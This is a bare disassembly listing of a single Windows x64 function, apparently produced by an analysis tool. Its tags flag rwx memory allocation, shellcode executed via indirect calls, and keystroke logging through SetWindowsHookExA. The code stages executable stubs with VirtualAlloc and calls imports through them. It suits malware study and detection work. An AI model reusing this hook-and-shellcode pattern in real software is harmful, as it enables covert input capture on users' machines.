Function at 0x140005060
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0x100
mov rax, qword [0x140101d00]
xor rax, rsp
mov qword [rbp + 0xf], rax
mov qword [rsp + 0x58], r9
mov r14, r8
mov dword [rsp + 0x30], edx
mov r13, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x79], xmm0
lea rax, [rbp + 0x57]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp - 0x71], rcx
mov qword [rbp - 0x69], rax
mov r12, qword [rax]
xor r12, rcx
mov qword [rsp + 0x60], r12
mov qword [rbp - 0x79], r12
movups xmmword [rsp + 0x38], xmm0
lea rax, [rbp + 0x57]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], rcx
xor esi, esi
mov qword [rax], rsi
mov ecx, esi
lea edi, [rsi + 3]
lea r15, [0x140002bb0]
lea rbx, [0x140000000]
mov rax, qword [0x140102700]
test rax, rax
je 0x14000512c
mov edx, esi
cmp rax, r15
je 0x14000511b
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x102700]
test rax, rax
jne 0x140005103
jmp 0x14000512c
mov r8, qword [rbx + rdx*8 + 0x102a20]
test r8, r8
jne 0x14000520f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140005153
mov r8, rsi
jmp 0x1400051ee
mov rax, r15
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140005160
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401026f8]
mov qword [rbx + rax*8 + 0x102700], r15
mov qword [rbx + rax*8 + 0x102a20], r8
inc rax
mov qword [0x1401026f8], rax
lea rdx, [0x1400ab228]
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call r8
mov rbx, rax
lea rax, [rbp + 0x57]
mov qword [rax], rsi
call fcn.140005ec0
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r13
mov rcx, rax
call fcn.140004f20
mov rsi, rax
mov qword [rsp + 0x50], rax
mov edx, reloc.WS2_32.dll_WSACleanup
xor ecx, ecx
lea r9d, [rdx - 0x70]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, rax
mov qword [rbp - 0x61], rax
movaps xmm0, xmmword [0x1400ca060]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400ca070]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400ca080]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400ca090]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400ca0a0]
movups xmmword [rax + 0x40], xmm0
movsd xmm1, qword [0x1400ca0b0]
movsd qword [rax + 0x50], xmm1
mov eax, dword [0x1400ca0b8]
mov dword [rcx + 0x58], eax
lea r15, [rsi + 0x5c]
mov ecx, dword [reloc.WS2_32.dll_getsockname]
mov rax, qword [rbp - 0x61]
mov qword [rcx + rax], r15
mov rsi, qword [rbp - 0x61]
add rsi, 0x5c
mov qword [rsi + 0x10], r14
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x28]
add rax, r14
mov qword [rsi + 8], rax
call fcn.140005ec0
mov dword [rsp + 0x20], reloc.WS2_32.dll_WSACleanup
mov r9, qword [rbp - 0x61]
mov r14, qword [rsp + 0x50]
mov r8, r14
mov rdx, r13
mov rcx, rax
call fcn.140008770
mov r9d, dword [rsp + 0x30]
mov r8, rbx
mov rdx, r14
mov ecx, 7
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [rbp - 0x59], rax
cmp dword [rsi], 2
je 0x1400053e4
mov ecx, dword [0x140104db4]
mov rax, qword gs:[0x58]
mov edx, 4
mov r14, qword [rax + rcx*8]
add r14, rdx
lea r12, [rbp + 0x57]
nop dword [rax + rax]
mov rbx, qword [r12]
mov qword [r12], 0
mov eax, dword [r14]
cmp dword [0x1401023d4], eax
jg 0x140005739
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
movabs rcx, 0xff00ff00ff00ff00
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], r12
mov rax, rbx
xor rax, rcx
mov qword [rsp + 0x38], rax
mov qword [r12], 0
mov dword [rbp - 0x51], edi
mov dword [rbp - 0x31], r13d
mov qword [rbp - 0x41], r15
mov qword [rbp - 0x49], rsi
mov qword [rbp - 0x39], Ordinal_26
lea rdx, [rbp - 0x51]
lea rcx, [0x1401023d0]
call fcn.140007e50
nop
mov qword [r12], rbx
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rsi], 2
jne 0x140005350
mov r12, qword [rsp + 0x60]
mov r14, qword [rsp + 0x50]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rcx, [rbp + 0x57]
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rsp + 0x38], rbx
xor r15d, r15d
mov qword [rcx], r15
mov ecx, r15d
lea r8, [0x140002b40]
mov rax, qword [0x140102d50]
lea rsi, [0x140000000]
test rax, rax
je 0x14000545e
mov edx, r15d
cmp rax, r8
je 0x14000544d
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x102d50]
test rax, rax
jne 0x140005435
jmp 0x14000545e
mov r8, qword [rsi + rdx*8 + 0x103070]
test r8, r8
jne 0x14000554f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea r9, [0x140002b40]
test rax, rax
jne 0x14000548c
mov r8, r15
jmp 0x14000552e
mov rax, r9
mov rcx, r8
mov rdx, rdi
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400054a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140102d40]
mov qword [rsi + rax*8 + 0x102d50], r9
mov qword [rsi + rax*8 + 0x103070], r8
inc rax
mov qword [0x140102d40], rax
lea rdx, [rbp - 0x59]
mov rcx, qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x57]
mov qword [rax], rbx
call fcn.140005ec0
mov r8, r14
mov rdx, r13
mov rcx, rax
call fcn.140006100
mov dword [rsp + 0x30], 0x8000
mov dword [rsp + 0x50], r15d
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rcx, [rbp + 0x57]
movabs rbx, 0xff00ff00ff00ff00
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rax, qword [rcx]
xor rax, rbx
mov qword [rsp + 0x38], rax
mov qword [rcx], r15
mov ecx, r15d
lea r14, [0x140002b70]
mov rax, qword [0x1401033a0]
test rax, rax
je 0x140005609
mov rdx, r15
nop dword [rax]
cmp rax, r14
je 0x1400055f8
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x1033a0]
test rax, rax
jne 0x1400055e0
jmp 0x140005609
mov r10, qword [rsi + rdx*8 + 0x1036c0]
test r10, r10
jne 0x1400056ef
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140005630
mov r10, r15
jmp 0x1400056ce
mov rcx, r14
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdi, 1
jne 0x140005640
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov ecx, dword [rcx + 0x70]
mov dword [rax + 0x70], ecx
mov rax, qword [0x140103390]
mov qword [rsi + rax*8 + 0x1033a0], r14
mov qword [rsi + rax*8 + 0x1036c0], r10
inc rax
mov qword [0x140103390], rax
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x61]
mov rcx, qword [sym.imp.KERNEL32.dll_VirtualFree]
call r10
nop
xor r12, rbx
lea rax, [rbp + 0x57]
mov qword [rax], r12
mov rcx, qword [rbp + 0xf]
xor rcx, rsp
call fcn.1400a4480
mov rbx, qword [rsp + 0x150]
add rsp, 0x100
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rcx, [0x1401023d4]
call fcn.1400a4208
cmp dword [0x1401023d4], 0xffffffff
jne 0x14000536b
lea rcx, [0x1400a83f0]
call fcn.1400a4184
lea rcx, [0x1401023d4]
call fcn.1400a419c
jmp 0x14000536b